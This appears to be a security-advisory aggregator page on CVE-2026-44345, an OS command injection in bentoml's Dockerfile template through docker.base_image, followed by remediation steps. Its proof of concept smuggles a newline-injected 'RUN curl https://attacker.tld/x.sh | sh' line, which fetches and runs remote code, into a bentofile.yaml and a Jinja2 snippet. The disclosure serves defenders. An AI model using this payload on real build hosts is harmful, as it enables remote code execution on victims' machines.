OS Command Injection in bentoml (CVE-2026-44345)
Summary
OS command injection in bentoml (CVE-2026-44345). Successful exploitation can lead to full system takeover. Exploitable via docker.base_image. Mitigation: upgrade to 1.4.39 or later.
Original description
The description as published by the source.
The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):
FROM {{ __options__base_image }} AS base-container
__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):
base_image: t.Optional[str] = None
No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
docker:
base_image: |
python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch
Minimal reproduction of the unsafe interpolation:
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)
Output:
FROM…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-44345 has been found in bentoml.
Attackers can target a specific entry point like docker.base_image over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 8.8/10.
What to do: upgrade bentoml to 1.4.39 or later.
If unsure, ask your IT team or search "bentoml CVE-2026-44345" on the vendor's site.
CVE-2026-44345 (bentoml) — CWE-78 / CVSS v3 8.8
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: docker.base_image / RUN / __options__base_image / DockerOptions.base_image
Patched: 1.4.39 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
OS command injection (CWE-78) exists in bentoml. Attackers reach the vulnerable code path via docker.base_image without authentication.
Check the vendor advisory for the affected versions of bentoml. Attack surface: docker.base_image / RUN / __options__base_image / DockerOptions.base_image.
Severity: High (CVSS 8.8/10). Successful exploitation can lead to full system takeover.
Update to 1.4.39.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'bentoml' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'bentoml' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
bentomlを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade bentoml to 1.4.39ステージング環境で 1.4.39 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com